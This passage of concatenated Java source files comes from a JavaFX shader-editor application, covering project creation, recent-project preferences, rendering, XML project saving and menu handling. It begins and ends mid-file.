import org.joml.Vector3f;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Optional;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
/**
* @Author Yves Kaufmann
* @since 14.07.2016
*/
public class ProjectManager {
private static final Logger Log = LoggerFactory.getLogger(ProjectManager.class);
/******************************************************************************
*
* Fields
*
******************************************************************************/
/***
* The current active project
*/
private ObjectProperty<Project> currentProject;
/******************************************************************************
*
* Methods
*
******************************************************************************/
/***
* Creates a empty project
*
* @return
*/
public Project createNewProject() {
boolean isInitialProject = currentProject == null || currentProject.get() == null;
ProjectCreateDialog projectCreateDialog = new ProjectCreateDialog(isInitialProject);
Optional<String> projectNameOpt = projectCreateDialog.showAndWait();
if (projectNameOpt.isPresent()) {
final String projectName = projectNameOpt.get();
final ProjectImpl project = new ProjectImpl();
project.setName(projectName);
// remove the old project folder if it exists
File projectFolder = project.getProjectFolder();
if (projectFolder.exists()) {
try {
FileUtils.deleteDirectory(projectFolder);
} catch (IOException e) {
Log.warn("Failed to remove old project folder");
return null;
}
}
if (projectFolder.mkdirs()) {
setCurrentProject(project);
Shader defaultShader = ShaderTemplateHelper.createShader(projectFolder, "Phong", true);
BasicMaterial mat = new BasicMaterial(defaultShader);
Geometry geometry = new Geometry("Box");
geometry.setMesh(new Cube());
geometry.setScale(1.0f);
geometry.setMaterial(mat);
PointLight pointLight = new PointLight("PointLight");
pointLight.setPosition(new Vector3f(0.0f, 2.0f, -2.0f));
pointLight.setColor(new Color(1.0f, 0.0f, 0.0f, 1.0f));
pointLight.setAttenuation(100.0f);
final Scene scene = project.getScene();
scene.getCamera().setPosition(5f, 5f, 5f);
if (scene.getCamera() instanceof FreeCamera) {
((FreeCamera) scene.getCamera()).setTarget(new Vector3f(0.0f, 0.0f, 0.0f));
}
scene.add(geometry);
scene.add(pointLight);
project.getMaterials().add(mat);
return project;
}
}
return null;
};
/**
* Save the specified project.
*
* @param project the project to save.
*/
public void save(Project project) {
}
/**
* Load the specified project.
*
* @param projectDirectory the directory containing project
* @return the loaded project or null if the loading failed.
*/
public Project load(File projectDirectory) {
return null;
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
/***
* Retrieve the current project.
*
* @return the currently active project
*/
public Project getCurrentProject() {
return currentProjectProperty().get();
}
/***
* Returns a property which contains
* the current active project.
*
* @return a property which contains the current project
*/
public ObjectProperty<Project> currentProjectProperty() {
if (currentProject == null) {
currentProject = new SimpleObjectProperty<>(this, "currentProject", null);
}
return currentProject;
}
/***
* Specifies the current active project.
*
* @param currentProject the currently active project
*/
public void setCurrentProject(Project currentProject) {
currentProjectProperty().set(currentProject);
}
}
```
GlobalUserPreferences.java
```package eu.yvka.shadersloth.app.preferences;
import java.io.File;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.prefs.Preferences;
/**
* @Author Yves Kaufmann
* @since 13.07.2016
*/
public class GlobalUserPreferences {
/******************************************************************************
*
* Constants
*
******************************************************************************/
public static final String RECENT_OPENED_PROJECTS = "recentOpenedProjects";
private static final int MAX_RECENT_PROJECTS = 15;
/******************************************************************************
*
* Fields
*
******************************************************************************/
/***
* Holds all preferences for
*/
private Preferences rootUserPreferences;
/**
* List of recent opened projects
*/
private List<String> recentOpenedProjects = new ArrayList<>();
/**
* Create and load preferences.
*/
public GlobalUserPreferences() {
rootUserPreferences = Preferences.userNodeForPackage(GlobalUserPreferences.class).node("ShaderSloth");
}
/**
* Returns the list of recent opened projects.
*
* @return a list of strings which are absolute paths to recent opened projects
*/
public List<String> getRecentOpenedProjects() {
return recentOpenedProjects;
}
public void addRecentOpenedProject(String path) {
addRecentOpenedProjects(Arrays.asList(path));
}
public void addRecentOpenedProjects(List<String> filePaths) {
for (String path : filePaths) {
if (recentOpenedProjects.contains(path)) {
recentOpenedProjects.remove(path);
}
recentOpenedProjects.add(0, path);
}
while (recentOpenedProjects.size() > MAX_RECENT_PROJECTS) {
recentOpenedProjects.remove(recentOpenedProjects.size() - 1);
}
writeToJavaPreference(RECENT_OPENED_PROJECTS);
}
public void removeRecentOpenedProjects(List<String> filePaths) {
filePaths.forEach(recentOpenedProjects::remove);
writeToJavaPreference(RECENT_OPENED_PROJECTS);
}
public void clearRecentOpenedProjects() {
recentOpenedProjects.clear();
writeToJavaPreference(RECENT_OPENED_PROJECTS);
}
/**
* Writes a specified property to a preferences,
* which means that the state of this property
* will be persisted.
*
* @param propertyToWrite the identifier of the property which should be persisted
*/
public void writeToJavaPreference(String propertyToWrite) {
switch (propertyToWrite) {
case RECENT_OPENED_PROJECTS: {
rootUserPreferences.put(RECENT_OPENED_PROJECTS, String.join(File.pathSeparator, recentOpenedProjects));
}
break;
}
}
/**
* Reads all properties from a preferences.
*
*/
public void readFromJavaPreference() {
final String recentItemsString = rootUserPreferences.get(RECENT_OPENED_PROJECTS, "");
final String[] recentItemsArray = recentItemsString.split(File.pathSeparator);
recentOpenedProjects.clear();
recentOpenedProjects.addAll(Arrays.asList(recentItemsArray));
}
}
```
ExceptionUtils.java
```package eu.yvka.shadersloth.share.utils;
public class ExceptionUtils {
ExceptionUtils() {
}
public static String getFileLocationOfTraceElement(Throwable throwable, int index) {
assert index > 0;
StackTraceElement[] stackTrace = throwable.getStackTrace();
if (stackTrace != null && stackTrace.length >=index) {
return ExceptionUtils.toFileLocationString(stackTrace[index]);
}
return "";
}
public static String toFileLocationString(StackTraceElement stackTraceElement) {
String file = stackTraceElement.getFileName();
String line = Integer.toString(stackTraceElement.getLineNumber(), 10);
return ("(" + String.join(":", file, line) + ")");
}
}
```
RenderService.java
```package eu.yvka.shadersloth.app.renderView;
import eu.yvka.slothengine.engine.AppSettings;
import eu.yvka.slothengine.engine.JavaFXOffscreenSupport;
import eu.yvka.slothengine.scene.Scene;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.concurrent.Service;
import javafx.concurrent.Task;
import javafx.scene.image.ImageView;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.concurrent.*;
/**
* A service which is responsible to render
* the rendering preview view.
*
* @Author Yves Kaufmann
* @since 30.06.2016
*/
public class RenderService extends Service<Void> {
private static final Logger Log = LoggerFactory.getLogger(RenderService.class);
/******************************************************************************
*
* Fields
*
******************************************************************************/
private final CountDownLatch runningLatch = new CountDownLatch(1);
private final ImageView renderView;
private ShaderSlothRenderer rendererLoop;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public RenderService(ImageView renderView) {
this.renderView = renderView;
setExecutor(Executors.newSingleThreadExecutor(runnable -> {
Thread thread = new Thread(runnable);
thread.setName("Renderer Thread");
thread.setDaemon(true);
thread.setPriority(Thread.MAX_PRIORITY);
return thread;
}));
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
@Override
protected void cancelled() {
runningLatch.countDown();
}
@Override
protected Task<Void> createTask() {
return new Task<Void>() {
@Override
protected Void call() throws Exception {
AppSettings settings = new AppSettings();
settings.set(AppSettings.Width, (int) renderView.getFitWidth());
settings.set(AppSettings.Height, (int) renderView.getFitHeight());
settings.set(JavaFXOffscreenSupport.JAVAFX_OFFSCREEN_SUPPORT, new JavaFXOffscreenSupport(renderView, runningLatch));
rendererLoop = new ShaderSlothRenderer();
try {
rendererLoop.start(settings);
} catch (Exception ex) {
Log.error("Detected a exception in the renderer", ex);
cancel(false);
setException(ex);
}
return null;
}
};
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
private ObjectProperty<Scene> scene;
/**
* Specifies which scene should be rendered by the renderer.
*/
public ObjectProperty<Scene> sceneProperty() {
if (scene == null) {
scene = new SimpleObjectProperty<Scene>(this, "scene") {
@Override
protected void invalidated() {
if (rendererLoop != null) {
rendererLoop.setActiveScene(scene.get());
}
}
};
}
return scene;
}
public Scene getScene() {
return scene == null ? null : scene.get();
}
public void setScene(Scene sceneToRender) {
sceneProperty().setValue(sceneToRender);
}
}
```
XMLProjectWriter.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.camera.Camera;
import eu.yvka.slothengine.scene.light.AmbientLight;
import eu.yvka.slothengine.scene.light.Light;
import eu.yvka.slothengine.scene.light.LightList;
import eu.yvka.slothengine.scene.light.PointLight;
import eu.yvka.slothengine.texture.Texture;
import org.joml.Quaternionf;
import org.joml.Vector3f;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.xml.stream.FactoryConfigurationError;
import javax.xml.stream.XMLOutputFactory;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;
import static eu.yvka.shadersloth.app.project.ProjectConstants.*;
/**
*
* @Author Yves Kaufmann
* @since 15.07.2016
*/
public class XMLProjectWriter implements ProjectWriter {
private static final Logger Log = LoggerFactory.getLogger(XMLProjectWriter.class);
private XMLOutputFactory outputFactory;
private XMLStreamWriter writer;
public XMLProjectWriter() {
try {
outputFactory = XMLOutputFactory.newFactory();
} catch (FactoryConfigurationError ex) {
throw new IllegalStateException("Failed to initiate xml writer factory", ex);
}
}
@Override
public void saveProject(final Project project) throws IOException {
if (writer != null ) throw new IllegalStateException("project writing is already in progress");
final File projectFolder = project.getProjectFolder();
final File projectFile = new File(projectFolder, ProjectReader.DEFAULT_PROJECT_FILE);
try (FileOutputStream fo = new FileOutputStream(projectFile)) {
writer = outputFactory.createXMLStreamWriter(fo, "UTF-8");
// writer = new IndentingXMLStreamWriter(writer);
writer.writeStartDocument();
writeProject(project);
writer.writeEndDocument();
writer.flush();
writer.close();
} catch (IOException ex) {
Log.error("Failed to save project file " + projectFile.getAbsolutePath(), ex);
throw ex;
} catch (XMLStreamException ex) {
Log.error("Failed to write project xml file", ex);
throw new IOException("failed to write project xml file", ex);
} finally {
writer = null;
}
}
private void writeProject(final Project project) throws XMLStreamException {
writer.writeStartElement(ProjectConstants.PROJECT_TAG);
writer.writeAttribute(PROJECT_ATTR_NAME, project.getName());
writer.writeAttribute(PROJECT_ATTR_FOLDER, project.getProjectFolder().getAbsolutePath());
writeScene(project.getScene());
writeMaterials(project.getMaterials());
writeTextures(project.getTextures());
writer.writeEndElement();
}
private void writeScene(final Scene scene) throws XMLStreamException {
writer.writeStartElement(SCENE_TAG);
writeCamera(scene.getCamera());
writeLights(scene.getLightList());
writeNodes(scene.getRootNode());
writer.writeEndElement();
}
private void writeMaterials(List<Material> materials) {
// TODO: write materials
}
private void writeTextures(List<Texture> textures) {
// TODO: write textures
}
private void writeCamera(final Camera camera) throws XMLStreamException {
writer.writeStartElement(CAMERA_TAG);
writer.writeAttribute(CLASS_ATTR, camera.getClass().getName());
writeVectorTag(POSITION_TAG, camera.getPosition());
writeVectorTag(DIRECTION_TAG, camera.getDirection());
writer.writeEndElement();
}
private void writeLights(LightList lightList) throws XMLStreamException {
writer.writeStartElement(LIGHTS_TAG);
for(Light light : lightList) {
writeLight(light);
}
writer.writeEndElement();
}
private void writeLight(Light light) throws XMLStreamException {
writer.writeStartElement(LIGHT_TAG);
writeNodeAttr(light);
writeLightAttr(light);
writeNodeTags(light);
writeLightTags(light);
writer.writeEndElement();
}
private void writeLightAttr(Light light) throws XMLStreamException {
writer.writeAttribute(LIGHT_ATTR_TYPE, light.getType().name());
}
private void writeLightTags(Light light) throws XMLStreamException {
writeNumberTag(LIGHT_ATTENTION_TAG, light.getAttenuation());
writeColorTag(COLOR_TAG, light.getColor());
if (light instanceof PointLight) {
// todo: point light handling
} else if (light instanceof AmbientLight) {
// todo: ambient light handling
}
}
private void writeNodes(Node rootNode) throws XMLStreamException {
writer.writeStartElement(NODES_TAG);
writeNode(rootNode);
writer.writeEndElement();
}
private void writeNode(Node node) throws XMLStreamException {
assert node != null;
writer.writeStartElement(NODE_TAG);
writeNodeAttr(node);
if (node instanceof Light) {
final Light light = (Light) node;
writeLightAttr(light);
writeLightTags(light);
}
if (node instanceof Geometry) {
final Geometry geometry = (Geometry) node;
writeBooleanAttribute("visible", geometry.isVisible());
// todo: geometry persistence
// todo: material persistence
}
writeNodeTags(node);
List<Node> children = node.getChildren();
if (! children.isEmpty()) {
writer.writeStartElement(CHILDREN_TAG);
for (Node child: children) {
writeNode(child);
}
writer.writeEndElement();
}
writer.writeEndElement();
}
private void writeNodeTags(Node node) throws XMLStreamException {
writeVectorTag(POSITION_TAG, node.getPosition());
writeVectorTag(SCALE_TAG, node.getScale());
writeQuaternionTag(ROTATION_TAG, node.getRotation());
}
private void writeNodeAttr(Node node) throws XMLStreamException {
writer.writeAttribute(ID_ATTR, node.getId());
writer.writeAttribute(CLASS_ATTR, node.getClass().getName());
}
private void writeVectorTag(String tagName, final Vector3f position) throws XMLStreamException {
assert position != null;
writer.writeStartElement(tagName);
writeNumberAttribute(VECTOR_ATTR_X, position.x);
writeNumberAttribute(VECTOR_ATTR_Y, position.y);
writeNumberAttribute(VECTOR_ATTR_Z, position.z);
writer.writeEndElement();
}
private void writeColorTag(String tagName, Color color) throws XMLStreamException {
assert color != null;
writer.writeStartElement(tagName);
writeNumberAttribute(COLOR_ATTR_R, color.getRed());
writeNumberAttribute(COLOR_ATTR_G, color.getGreen());
writeNumberAttribute(COLOR_ATTR_B, color.getBlue());
writeNumberAttribute(COLOR_ATTR_A, color.getAlpha());
writer.writeEndElement();
}
private void writeQuaternionTag(String tagName, Quaternionf rotation) throws XMLStreamException {
assert rotation != null;
writer.writeStartElement(tagName);
writeNumberAttribute(VECTOR_ATTR_X, rotation.x);
writeNumberAttribute(VECTOR_ATTR_Y, rotation.y);
writeNumberAttribute(VECTOR_ATTR_Z, rotation.z);
writeNumberAttribute(VECTOR_ATTR_W, rotation.w);
writer.writeEndElement();
}
private void writeNumberTag(String tagName, Number number) throws XMLStreamException {
writer.writeStartElement(tagName);
writeNumberAttribute(VALUE_ATTR, number);
writer.writeEndElement();
}
private void writeNumberAttribute(String name, Number number) throws XMLStreamException {
String numberString = toString(number);
writer.writeAttribute(name, numberString);
}
private void writeBooleanAttribute(String attrName, boolean visible) throws XMLStreamException {
String booleanString = Boolean.toString(visible);
writer.writeAttribute(attrName, booleanString);
}
private String toString(Number number) {
float numVal = number.byteValue();
return Float.toString(numVal);
}
}
```
MessageBanner.java
```package eu.yvka.shadersloth.app.controls;
import javafx.scene.control.Label;
import org.controlsfx.validation.ValidationMessage;
import org.controlsfx.validation.ValidationSupport;
import static java.util.stream.Collectors.joining;
/**
* Displays messages to the user or shows
* validation error messages.
*
* @Author Yves Kaufmann
* @since 08.07.2016
*/
public class MessageBanner extends Label {
enum MessageType {
INFO,
WARNING,
ERROR
}
/******************************************************************************
*
* Constructors
*
******************************************************************************/
/**
* Creates a hidden message banner
*/
public MessageBanner() {
getStyleClass().addAll("message-banner");
managedProperty().bind(visibleProperty());
hide();
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
/**
* Shows this message banner with the specified message.
*
* @param message the message to show the user.
*/
public void show(String message) {
setText(message);
setVisible(true);
}
/**
* Shows validation messages to a user if the passed
* validation is invalid.
*/
public void show(ValidationSupport validationSupport) {
if (validationSupport.isInvalid()) {
String messages = validationSupport
.getValidationResult().getErrors()
.stream().map(ValidationMessage::getText)
.sorted().collect(joining("\n"));
show(messages);
}
}
/**
* Hide this message banner.
*/
public void hide() {
setText("");
setVisible(false);
}
}
```
ShaderError.java
```package eu.yvka.shadersloth.app.materialEditor.shaders.errors;
import eu.yvka.slothengine.shader.source.ShaderSource;
import javafx.beans.property.*;
/**
* @author Yves Kaufmann
* @since 18.07.2016
*/
public class ShaderError {
/******************************************************************************
*
* Fields
*
******************************************************************************/
private StringProperty description;
private StringProperty shaderName;
private IntegerProperty lineNumber;
private ObjectProperty<ShaderSource> source;
/******************************************************************************
*
* Constructor
*
******************************************************************************/
ShaderError(String error, String name, Integer line, ShaderSource source) {
description = new SimpleStringProperty(this, "description", error);
shaderName = new SimpleStringProperty(this, "shaderName", name);
lineNumber = new SimpleIntegerProperty(this, "lineNumber", line);
this.source = new SimpleObjectProperty<ShaderSource>(source);
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
public String getDescription() {
return description.get();
}
public StringProperty descriptionProperty() {
return description;
}
public void setDescription(String description) {
this.description.set(description);
}
public String getShaderName() {
return shaderName.get();
}
public StringProperty shaderNameProperty() {
return shaderName;
}
public void setShaderName(String shaderName) {
this.shaderName.set(shaderName);
}
public int getLineNumber() {
return lineNumber.get();
}
public IntegerProperty lineNumberProperty() {
return lineNumber;
}
public void setLineNumber(int lineNumber) {
this.lineNumber.set(lineNumber);
}
public ShaderSource getSource() {
return source.get();
}
public ObjectProperty<ShaderSource> sourceProperty() {
return source;
}
}
```
NumberInput.java
```package eu.yvka.shadersloth.app.controls;
import eu.yvka.shadersloth.app.controls.number.NumberInputSkin;
import javafx.beans.property.*;
import javafx.scene.control.Skin;
import javafx.scene.control.TextField;
import java.text.NumberFormat;
public class NumberInput extends TextField {
public static final String DEFAULT_STYLE_CLASS = "numberInput";
public NumberInput() {
setValue(0);
setLabel("");
setFocusTraversable(false);
initialize();
}
public NumberInput( String label, double value) {
setValue(value);
setLabel(label);
initialize();
}
public NumberInput(String label, double value, double minValue, double maxValue) {
setLabel(label);
setValue(value);
setMinValue(minValue);
setMaxValue(maxValue);
initialize();
}
private void initialize() {
getStyleClass().setAll(DEFAULT_STYLE_CLASS);
}
/**
* The current value of this number input controls.
*/
private DoubleProperty value;
public void setValue(double value) {
valueProperty().set(value);
}
public double getValue() {
return value == null ? 0 : value.getValue();
}
public DoubleProperty valueProperty() {
if (value == null) {
value = new DoublePropertyBase(0.0) {
@Override
protected void invalidated() {
super.invalidated();
}
@Override
public Object getBean() {
return NumberInput.this;
}
@Override
public String getName() {
return "value";
}
};
}
return value;
}
/**
* Minimum Value
*/
private DoubleProperty minValue;
public DoubleProperty minValueProperty() {
if (minValue == null) {
minValue = new DoublePropertyBase(Double.NEGATIVE_INFINITY) {
@Override
public Object getBean() {
return NumberInput.this;
}
@Override
public String getName() {
return "minValue";
}
};
}
return minValue;
}
public void setMinValue(double minValue) {
minValueProperty().set(minValue);
}
public double getMinValue() {
return minValue == null ? Double.MIN_VALUE : minValue.getValue();
}
/**
* Minimum Value
*/
private DoubleProperty maxValue;
public DoubleProperty maxValueProperty() {
if (maxValue == null) {
maxValue = new DoublePropertyBase(Double.MAX_VALUE) {
@Override
public Object getBean() {
return NumberInput.this;
}
@Override
public String getName() {
return "maxValue";
}
};
}
return maxValue;
}
public void setMaxValue(double maxValue) {
maxValueProperty().set(maxValue);
}
public double getMaxValue() {
return maxValue == null ? Double.MAX_VALUE : maxValue.getValue();
}
/**
* The the label text
*/
private StringProperty label;
public void setLabel(String value) {
labelProperty().set(value);
}
public String getLabel() {
return label == null ? "" : label.get();
}
public StringProperty labelProperty() {
if (label == null) {
label = new StringPropertyBase("") {
@Override
public Object getBean() {
return NumberInput.this;
}
@Override
public String getName() {
return "label";
}
};
}
return label;
}
private ObjectProperty<NumberFormat> format;
public void setFormat(NumberFormat format) {
formatProperty().set(format);
}
public NumberFormat getFormat() {
return format == null ? NumberFormat.getInstance() : format.get();
}
public ObjectProperty<NumberFormat> formatProperty() {
if (format == null) {
format = new ObjectPropertyBase<NumberFormat>(NumberFormat.getInstance()) {
@Override
public Object getBean() {
return NumberInput.this;
}
@Override
public String getName() {
return "format";
}
};
}
return format;
}
@Override
protected Skin<?> createDefaultSkin() {
return new NumberInputSkin(this);
}
}
```
MenuBarController.java
```package eu.yvka.shadersloth.app.menubar;
import com.google.inject.Inject;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.app.ShaderSlothController;
import eu.yvka.shadersloth.app.preferences.GlobalUserPreferences;
import javafx.fxml.FXML;
import javafx.scene.control.Menu;
import javafx.scene.control.MenuBar;
import javafx.scene.control.MenuItem;
import javafx.scene.control.SeparatorMenuItem;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyCodeCombination;
import javafx.scene.input.KeyCombination;
import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static eu.yvka.shadersloth.app.ShaderSlothController.*;
/**
* Controller which is responsible to handle
* menubar actions and rendering of the menubar bar
*
*
* @Author Yves Kaufmann
* @since 01.07.2016
*/
public class MenuBarController {
/******************************************************************************
*
* FXML Fields
*
******************************************************************************/
@FXML private MenuBar menuBar;
@FXML private Menu fileMenu;
@FXML private MenuItem newMenuItem;
@FXML private MenuItem openMenuItem;
@FXML private Menu openRecentMenu;
@FXML private MenuItem saveMenuItem;
@FXML private MenuItem saveAsMenuItem;
@FXML private MenuItem exitMenuItem;
@FXML private Menu helpMenu;
@FXML private MenuItem aboutMenuItem;
/******************************************************************************
*
* Fields
*
******************************************************************************/
@Inject private GlobalUserPreferences userPreferences;
private ShaderSlothController shaderSlothController;
/******************************************************************************
*
* Methods
*
******************************************************************************/
public void initAppController(ShaderSlothController shaderSlothController) {
if (this.shaderSlothController != null) {
throw new IllegalStateException("AppController already assigned");
}
this.shaderSlothController = shaderSlothController;
}
public void initialize() {
userPreferences.readFromJavaPreference();
newMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_NEW));
newMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.N, KeyCombination.CONTROL_DOWN));
openMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_OPEN));
openMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.O, KeyCombination.CONTROL_DOWN));
openRecentMenu.setOnShown((e) -> updateRecentMenu());
saveMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_SAVE));
saveMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.S, KeyCombination.CONTROL_DOWN));
saveAsMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_SAVE_AS));
saveAsMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.S, KeyCombination.SHIFT_DOWN, KeyCombination.CONTROL_DOWN));
exitMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_QUIT));
aboutMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_ABOUT));
menuBar.getMenus().forEach(this::setupMenuHandlers);
updateRecentMenu();
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
private void setupMenuHandlers(final MenuItem menuItem) {
if (menuItem instanceof Menu) {
final Menu menu = (Menu) menuItem;
menu.getItems().forEach(this::setupMenuHandlers);
menu.setOnMenuValidation((e) -> {
handleOnMenuValidation(menu);
});
} else {
if (menuItem.getUserData() instanceof MenuItemController) {
MenuItemController itemController = (MenuItemController) menuItem.getUserData();
menuItem.setOnAction((e) -> {
if (itemController.canPerform()) {
itemController.perform();
}
});
}
}
}
private void handleOnMenuValidation(Menu menu) {
for (MenuItem i : menu.getItems()) {
final boolean disable, selected;
final String title;
if (i.getUserData() instanceof MenuItemController) {
final MenuItemController c = (MenuItemController) i.getUserData();
boolean canPerform;
try {
canPerform = c.canPerform();
} catch(RuntimeException x) {
canPerform = false;
final Exception xx
= new Exception(c.getClass().getSimpleName()
+ ".canPerform() did break for menubar item " + i, x); //NOI18N
xx.printStackTrace();
}
disable = !canPerform;
title = c.getTitle();
selected = c.isSelected();
} else {
if (i instanceof Menu) {
disable = false;
selected = false;
title = null;
} else {
disable = true;
selected = false;
title = null;
}
}
i.setDisable(disable);
if (title != null) {
i.setText(title);
}
}
}
/**
* Updates the entries for the recent menubar which contains
* projects which were opened in the past.
*/
private void updateRecentMenu() {
final List<String> recentItems = userPreferences.getRecentOpenedProjects();
final List<MenuItem> menuItems = new ArrayList<>();
MenuItem clearRecentItem = new MenuItem(I18N.getString("menu.title.open.recent.clear"));
clearRecentItem.setOnAction((e) -> {
userPreferences.clearRecentOpenedProjects();
updateRecentMenu();
});
if (recentItems.isEmpty()) {
clearRecentItem.setDisable(true);
menuItems.add(clearRecentItem);
} else {
final List<String> recentToRemove = new ArrayList<>();
final Map<String, Integer> recentProjectNames = new HashMap<>();
clearRecentItem.setDisable(false);
// Detects if a item still exists and mark this for removal.
// Furthermore it determined if names are unique
for (String recentItem : recentItems) {
// when the recentItem file is gone remove it from the pref db
final File recentProjectFolder = new File(recentItem);
if (recentProjectFolder.exists()) {
String name = recentProjectFolder.getName();
if (recentProjectNames.containsKey(name)) {
recentProjectNames.put(name, recentProjectNames.get(name) + 1);
} else {
recentProjectNames.put(name, 1);
}
} else {
recentToRemove.add(recentItem);
}
}
// Second pass for building the menubar items
for (String recentItem : recentItems) {
final File recentProjectFolder = new File(recentItem);
if (recentProjectFolder.exists()) {
String name = recentProjectFolder.getName();
MenuItem recentMenuItem = new MenuItem();
recentMenuItem.setMnemonicParsing(false);
if (recentProjectNames.get(name) > 1) {
recentMenuItem.setText(recentProjectFolder.getAbsolutePath());
} else {
recentMenuItem.setText(name);
}
recentMenuItem.setOnAction((e) -> {
this.shaderSlothController.performOpenRecentProject(new File(recentItem));
});
menuItems.add(recentMenuItem);
}
}
if (! recentToRemove.isEmpty()) {
userPreferences.removeRecentOpenedProjects(recentToRemove);
}
menuItems.add(new SeparatorMenuItem());
menuItems.add(clearRecentItem);
}
openRecentMenu.getItems().setAll(menuItems);
}
/******************************************************************************
*
* Inner Classes
*
******************************************************************************/
class ApplicationMenuItemController extends MenuItemController {
private ApplicationAction action;
public ApplicationMenuItemController(ApplicationAction action) {
this.action = action;
}
@Override
public boolean canPerform() {
return shaderSlothController.canPerformAction(action);
}
@Override
public void perform() {
shaderSlothController.performAction(action);
}
}
abstract class MenuItemController {
public abstract boolean canPerform();
public abstract void perform();
public String getTitle() {
return null;
}
public boolean isSelected() {
return false;
}
}
}
```
ProjectReader.java
```package eu.yvka.shadersloth.app.project;
import java.io.File;
import java.io.IOException;
/**
* @Author Yves Kaufmann
* @since 15.07.2016
*/
public interface ProjectReader {
public static final String DEFAULT_PROJECT_FILE = "project.xml";
Project loadProject(File file) throws IOException;
}
```
MaterialEvent.java
```package eu.yvka.shadersloth.app.materialEditor;
import eu.yvka.slothengine.material.Material;
import javafx.beans.NamedArg;
import javafx.event.Event;
import javafx.event.EventType;
import javafx.scene.input.DragEvent;
import javafx.scene.input.InputEvent;
import javafx.scene.input.MouseDragEvent;
import javafx.scene.input.MouseEvent;
/**
* Event which indicates creation/modification/changes of materials
*
* @author Yves Kaufmann
* @since 25.07.2016
*/
public class MaterialEvent extends Event {
/**
* Common supertype for all Material event types.
*/
public static final EventType<MaterialEvent> ANY =
new EventType<MaterialEvent>(Event.ANY, "MATERIAL");
/**
* This event occurs when a material is changed.
*/
public static final EventType<MaterialEvent> MATERIAL_CHANGED =
new EventType<MaterialEvent>(MaterialEvent.ANY, "MATERIAL_CHANGED");
/**
* This event occurs when a material name is changed.
*/
public static final EventType<MaterialEvent> MATERIAL_NAME_CHANGED =
new EventType<MaterialEvent>(MaterialEvent.MATERIAL_CHANGED, "MATERIAL_NAME_CHANGED");
/**
* This event occurs when a material is changed.
*/
public static final EventType<MaterialEvent> MATERIAL_CREATED =
new EventType<MaterialEvent>(MaterialEvent.MATERIAL_CHANGED, "MATERIAL_CREATED");
/**
* This event occurs when a material is changed.
*/
public static final EventType<MaterialEvent> MATERIAL_DELETED =
new EventType<MaterialEvent>(MaterialEvent.MATERIAL_CHANGED, "MATERIAL_DELETED");
private Material affectedMaterial;
/**
* Create MaterialEvent with the specified event type
*
* @param eventType the specified event type
*/
public MaterialEvent(@NamedArg("eventType") EventType<? extends Event> eventType, Material affectedMaterial) {
super(eventType);
this.affectedMaterial = affectedMaterial;
}
public Material getAffectedMaterial() {
return affectedMaterial;
}
}
```
GuiceInjectorContext.java
```package eu.yvka.shadersloth.share.context;
import com.google.inject.Guice;
import com.google.inject.Injector;
import com.google.inject.Module;
import eu.yvka.shadersloth.share.utils.ReflectionUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.PreDestroy;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.Objects;
import java.util.function.Supplier;
public class GuiceInjectorContext implements DIContext {
private static final Logger Log = LoggerFactory.getLogger(GuiceInjectorContext.class);
private Object rootObject;
private Supplier<Collection<Module>> moduleSupplier;
private Injector injector;
public GuiceInjectorContext(Object rootObject, Supplier<Collection<Module>> moduleSupplier) {
this.moduleSupplier = Objects.requireNonNull(moduleSupplier);
this.rootObject = Objects.requireNonNull(rootObject);
}
@Override
public void init() {
injector = Guice.createInjector(moduleSupplier.get());
injector.injectMembers(rootObject);
moduleSupplier = null;
Log.info("Created DI context");
}
@Override
public void injectMembers(Object object) {
injector.injectMembers(object);
}
@Override
public <T> T getInstance(Class<T> type) {
return injector.getInstance(type);
}
@Override
public void destroy() {
Log.info("Destroying DI context");
injector.getAllBindings().values().stream()
.map((binding -> binding.getProvider().get()))
.forEach((obj) -> {
boolean preDestroyInvoked = false;
try {
for (Method method : ReflectionUtils.getMethodsWithAnnotation(obj.getClass(), PreDestroy.class)) {
ReflectionUtils.invokeMethod(obj, method);
preDestroyInvoked = true;
}
if (preDestroyInvoked) {
Log.info("Destroyed " + obj.getClass().getSimpleName());
}
} catch (Exception ex) {
Log.warn("Failed to destroy instance of " + obj.getClass().getSimpleName());
}
});
}
}
```
ProjectImpl.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.shadersloth.app.AppFolder;
import eu.yvka.slothengine.material.BasicMaterial;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.texture.Texture;
